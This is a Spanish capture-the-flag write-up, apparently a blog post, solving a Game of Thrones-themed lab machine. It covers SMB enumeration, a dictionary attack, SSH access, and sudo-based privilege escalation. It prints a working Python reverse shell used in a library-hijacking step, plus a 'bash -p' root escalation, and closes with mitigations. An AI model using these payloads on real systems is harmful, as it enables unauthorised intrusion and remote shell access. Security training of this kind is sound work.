Este laboratorio está catalogado con la dificultad "Fácil" y su autor es "Zunderrub".
ATENCIÓN
Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.
Reconocimiento inicial
Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.
ping -c 1 172.17.0.2
Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.
Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.
sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.17.0.2 -oN allPorts
En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.
nmap -sCV -p 22,80,139,445 -n -Pn 172.17.0.2 -oN services
En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.
Acceso inicial (jon)
En este caso se detecta que hay cuatro puertos abiertos:
- Puerto 22 (servicio SSH, OpenSSH)
- Puerto 80 (servicio HTTP, Apache)
- Puerto 139 (protocolo NetBIOS, Samba)
- Puerto 445 (protocolo SMB, Samba)
Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Debian.
Tras escanear el servicio Samba, se puede comprobar que hay una serie de recursos compartidos disponibles.
smbclient -L \\172.17.0.2 -N
Además de unos usuarios dados de alta en el sistema: "jon", "aria" y "daenerys".
enum4linux -a 172.17.0.2
Tras investigar el puerto 80, se puede comprobar que se muestra una página denominada "Diario de Jon" donde también figuran los nombres de los nombres de usuarios identificados en el servicio Samba.
URL -> http://172.17.0.2
Tras escanear el sitio web, se detecta un nuevo directorio "/dragon".
gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -t 32 -x php,html,txt,zip
Al acceder a este directorio, se puede comprobar que tiene el listado de directorios habilitado y se puede revisar su contenido. Se detecta un nuevo archivo sin extensión accesible.
URL -> http://172.17.0.2/dragon/
Al revisar su contenido, parece ser un archivo de texto que contiene los nombres de los episodios de la primera temporada de "Juego de Tronos". Al mostrarse estos sin espacios, tiene mucha pinta de parecerse a un listado de contraseñas personalizado.
URL -> http://172.17.0.2/dragon/EpisodiosT1
Por ello, se crea un listado de contraseñas con estas junto a un listado de nombres de usuario con los usuarios identificados en el servicio Samba y se realiza un ataque de diccionario sobre este servicio para intentar identificar credenciales válidas.
netexec smb 172.17.0.2 -u usernames.txt -p passwords.txt --continue-on-success
Se detecta las credenciales válidas para el usuario "jon". Para los otros dos, al indicarse con "Guest", significa que se tiene acceso al servicio pero no necesariamente mediante una autenticación correcta. Esto se debe a que el servicio acepta una conexión mediante una sesión anónima.
Al revisar el servicio Samba con las credenciales del usuario "jon", se puede comprobar que existe un nuevo recurso compartido denominado "jon". Además, este puede acceder a otro recurso compartido denominado "shared".
enum4linux -a -u "jon" -p "<RECORTADO>" 172.17.0.2
En primera instancia se accede al recurso compartido "shared". Se detecta un archivo. Se descarga y se revisa. Este parece contener un secreto codificado en Base64.
smbclient \\\\172.17.0.2\\shared -U "jon%<RECORTADO>"
smb: \> dir
smb: \> get proteccion_del_reino
smb: \> exit
cat proteccion_del_reino
Al decodificarlo resulta en una cadena de caracteres que tiene pinta de ser una contraseña.
echo '<RECORTADO>' | base64 -d
En este punto, al acceder al recurso compartido "jon", se puede comprobar que consiste en el directorio principal del usuario "jon" directamente accesible a través de este recurso compartido.
smbclient \\\\172.17.0.2\\jon -U "jon%<RECORTADO>"
Dado que se puede confirmar que este usuario dispone de directorio personal en el sistema, es posible que se pueda acceder con este. Tras probar el usuario "jon" con la contraseña descubierta en el recurso compartido "shared", se puede comprobar que es posible acceder al sistema a través del servicio SSH.
ssh jon@172.17.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta en "shared">
whoami
id
hostname
Escalada de privilegios (jon -> aria)
Al listar los privilegios SUDO, se puede comprobar que el usuario "jon" puede ejecutar el script "/home/jon/.mensaje.py" como el usuario "aria" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
El script no es modificable pero se puede leer su contenido. Además, se puede comprobar que hay una nota para Jon donde indica que se use esta herramienta oculta para encriptar mensajes.
sudo -l
ls -al
cat .mensaje.py
cat paraJon
Jon para todos los mensajes que quieras encriptar debes de usar la herramienta oculta que te he dejado
Se puede apreciar que la librería "getpass" que importa este script carga la librería mediante una ruta relativa.
El script reside en el directorio principal del usuario "jon", por lo que es posible crear una librería "getpass.py" con un método "getuser()" que en ejecución reemplace al original. Esto se debe a que el directorio donde se ejecuta el script es el primero en el que se va a buscar la librería a utilizar.
Este ataque se le denomina como secuestro de librería de Python (Python library hijacking) por orden de prioridad. Por ello, se crea esta librería en el directorio principal del usuario "jon", incluyendo en el método una consola inversa escrita en Python.
nano getpass.py
cat getpass.py
# getpass.py
import os
import pty
import socket
def getuser():
s=socket.socket()
s.connect(("172.17.0.1",1337))
[os.dup2(s.fileno(),f)for f in(0,1,2)]
pty.spawn("sh")
A continuación, se establece un puerto a la escucha.
rlwrap nc -nvlp 1337
Por último, se ejecuta el script en el contexto del usuario "aria" aprovechando los privilegios SUDO asignados.
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
Al revisar el puerto a la escucha, se puede comprobar que se ha obtenido acceso al sistema como el usuario "aria".
whoami
id
hostname
Escalada de privilegios (aria -> daenerys)
Al listar los privilegios SUDO, se puede comprobar que el usuario "aria" puede ejecutar los binarios "/usr/bin/cat" y "/usr/bin/ls" como el usuario "daenerys" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls
sudo -l
Gracias a estos privilegios, se ha podido descubrir un mensaje oculto en el directorio principal del usuario "daenerys", el cual va dirigido a Jon y muestra la contraseña en texto plano de "daenerys". La contraseña es el nombre propio que figura al final del todo de la nota. Con este, es posible acceder al usuario "daenerys" directamente.
sudo -u daenerys /usr/bin/ls /home/daenerys
sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
...
Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude a recuperar el trono de hierro.
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu ordenador.
<RECORTADO>
su - daenerys
<introducir la contraseña descubierta>
whoami
id
hostname
Escalada de privilegios (daenerys -> root)
Al listar los privilegios SUDO, se puede comprobar que el usuario "daenerys" puede ejecutar el script "/home/daenerys/.secret/.shell.sh" como cualquier usuario sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh
El script es modificable y se puede leer su contenido, lo que hace posible la escalada de privilegios.
sudo -l
ls -al
ls -al .secret
cat .secret/.shell.sh
Como es modificable, se adapta el contenido del script para que al ejecutarse abra una consola Bash con privilegios elevados.
cat .secret/.shell.sh
nano .secret/.shell.sh
cat .secret/.shell.sh
# .secret/.shell.sh
#!/bin/bash
bash -p
Al ejecutar el script aprovechando los privilegios SUDO asignados es posible obtener acceso al usuario "root" directamente.
sudo -u root /usr/bin/bash /home/daenerys/.secret/.shell.sh
whoami
id
hostname
En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).
Mitigaciones a aplicar
- Evitar exponer información sensible a través de servicios web.
- Evitar exponer información sensible a través del servicio Samba. Especialmente si el acceso anónimo está habilitado.
- Evitar que los usuarios del sistema tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
- Limitar el número de intentos de acceso erróneos para servicios de acceso remoto como Samba para disuadir posibles amenazas.
- Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
- Para evitar la vulnerabilidad de Python library hijacking asegurarse de no nombrar los archivos como módulos estándar o populares y ejecutar los scripts desde directorios controlados, validando qué rutas están definidas en "sys.path" antes de importar.
- Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar.
¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com